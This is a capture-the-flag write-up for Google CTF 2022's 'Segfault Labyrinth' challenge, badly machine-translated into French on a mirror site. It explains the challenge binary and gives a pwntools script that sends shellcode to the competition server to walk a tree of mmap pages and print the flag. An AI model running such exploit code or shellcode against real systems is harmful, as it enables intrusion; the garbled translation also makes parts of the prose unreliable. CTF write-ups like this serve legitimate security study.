当前位置:网站首页>2022 Google CTF segfault Labyrinth WP

2022 Google CTF segfault Labyrinth WP

2022-07-07 01:16:00 Xyzmpv

Ne me demandez pas pourquoi je suis venu me battreCTF Demander, c'est mériter:)

Google CTF 2022 SEGFAULT LABYRINTH wp

CélèbreGoogle CTF.L'année dernière, j'a i vu un maître dessiner un diagramme sur une feuille de papier entière et faire une inversion,Venez goûter cette année(Depuis)Essayez.(Abus)Un instant..
Bien sûr.pwnC'est impossiblepwnDe,Je ne peux que diremiscVivre comme ça.J'ai eu de la chance de le faire le premier jourSEGFAULT LABYRINTHCelui - là.Misc,Le classement des questions est également assez bon(Bien sûr, je l'ai touché le lendemain).Voici monwp.

Analyse logique

Tout d'abord, il n'y a qu'un seul corpsmainFonctions,Il n'y a pas de difficulté à inverser.
Commencez par demander unmmapLe bloc est utilisé pour placer le pointeur,Adresse fixe(Cette adresse vous sera donnée à la fin).Puis entrezwhileCycle.
La logique principale du programme est iciwhile(1)Dans le cycle.Lisez d'abord un nombre aléatoire,Prenez le bas du premier octet de ce nombre aléatoire4Position et hauteur4Bit Clear(En fait, ce nombre aléatoire n'est vraiment utilisé que pour ce faible4Bits).
Chaque cycle sera appliqué à nouveau16- Oui.mmapBloc et écrire son adresse dans l'ordrev5Espace pointé.Ce processus utilise des nombres aléatoires dans0-16Tirage au sort,Seul le bloc tiré a la permission(Bien sûr, il peut aussi avoir le visage noir,Tire.1Ou2 Permissions seulement3Ou6).
Insérer la description de l'image ici
Première foisv5 C'est celui qui a postulé au début mmap L'adresse du bloc , Chaque cycle v5 L'adresse assignée au bloc autorisé dans ce tirage circulaire ( Sinon, je ne peux pas continuer à écrire l'adresse )
C'est - à - dire, L'ensemble du processus correspond à la croissance d'un arbre bifurqué , Choisissez un noeud aléatoire à la fois , Sur ce noeud pousse 16Sous - noeud,Et ainsi de suite.
Si vous regardez de plus près ,Participationflag La partie de if(!--v4) Dans ce jugement ,Parce quev4À l'origine10, Il faut donc courir jusqu'au 10 La boucle secondaire entre dans la logique , Et maintenant c'est initialisé 16^10Noeuds(Adresse).Dans cette branche,Oui.flag Lire au dernier noeud autorisé .

Le schéma est le suivant::

Et puis, Distribuer un morceau avec RWX Section des permissions ( Et sur la tête du segment shellcode),ProduitsWelcome to the Segfault Labyrinth, Définir la protection

Et je te laisse couvrir ptr[0] Et lire la longueur de ptr[0] % (4096 - v16)OctetsshellcodeEt la mise en œuvre
Insérer la description de l'image ici
Notez deux points:

  1. Comme indiqué précédemment,shellcode Le début de , Et la longueur totale ne doit pas dépasser 4096
  2. Mise en œuvreshellcode Le paramètre time est mmap_addr_1,C'est - à - dire Adresse du noeud de la tête d'arbre bifurquée

Ecrit mort.shellcodeDébut du paragraphe( Il est resté rdi)

Insérer la description de l'image ici
Protection des bacs à sable

Insérer la description de l'image ici

Comment résoudre le problème

Essentiellement, l'exigence du problème est de traverser l'arbre de bifurcation et de trouver le dernier noeud ,Et l'imprimer.
Regardez la protection et découvrez qu'il n'y a que quelques - uns des appels système disponibles . La première réaction est directe shellcraftGénérershellcodeOu écrireCRecompiler,Enlève çaPIC.
Mais le débogage réel a aussi trouvé , La pile ne peut pas être utilisée sinon elle va directement SEGFAULT( C'est aussi la source du titre ).Dans ce cas,, Il est peu probable que cela se produise de l'une ou l'autre façon , Alors je me frottais les mains shellcodeC'est

Au début, l'idée était de prendre directement la valeur du noeud vide et cmp 0, Mais la permission de trouver un noeud vide dans le débogage est 0, Les valeurs directes vont s'effondrer . Il y a un maître à l'arrière pour l'utiliser mmap Pour tester les permissions du noeud , Et ça finit par s'effondrer .

La solution finale était très simple et brutale ——Directement à traverswriteImpression transversale de chaque noeud. Pour les noeuds non vides ,Valeur de retourraxC'est la longueur., Le noeud vide renvoie un nombre négatif .AdoptionContrôlewriteLongueur+cmp rax,Longueur+Saut conditionnelMéthode, Vous pouvez traverser cet arbre bifurqué .
Le dernier frottement expComme suit:

# -*- coding:utf-8 -*-
from pwn import *                                                
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()

#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')


#local_file = 
#libc = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

payload=asm('mov r15,rdi') # Enregistrer l'adresse du noeud d'en - tête 
payload+=asm('mov rsi,[rdi]') # Première adresse pointée par le noeud de tête 
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') #Structurewrite
payload+=asm('add r15,8') # Échec de la vérification par défaut , Pointeur de noeud de tête dans le sens des aiguilles d'une montre 
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40') 
payload+=asm('jnz $-37') #Si ça ne passe pas, Alors la préparation préliminaire est terminée , Retour à la deuxième compilation 
payload+=asm('sub r15,8') #Adoption, Réinitialiser d'abord le pointeur du noeud de tête , Répétez le pointeur 
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')# Retour à la deuxième compilation ,Continuez le cycle
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))

se(payload)

p.interactive()

Résumé

  • C'est une bonne façon de se sentir ,Adoptionwrite Erreur et valeur de retour pour le jugement de traversée , Peut également être imprimé directement flag, Et la longueur n'est que 14 Compilation des articles
  • pwntools Le saut vers le Haut de l'assemblage est le même que pour l'assembleur normal , La longueur de l'instruction précédente doit être calculée avant d'être écrite
  • C'était une erreur au début ,Je pensais...v5 C'est toujours le début qui donne mmapAdresse, J'ai débogué et j'ai découvert que je ne pouvais pas le trouver directement flag, Et il y a un tas de mmapBloc,C'est ce qui se passe.
  • Merci aux deux maîtres qui ont participé au remue - méninges pendant la préparation des questions , Offre beaucoup de conseils précieux . C'est la première fois que vous faites des questions dans un concours de ce niveau et que vous les soumettez dans un bon ordre ,Toujours heureux..
  • pwnC'est impossiblepwnDe, Je ne peux que miscVivre comme ça
原网站

版权声明
本文为[Xyzmpv]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207061731333444.html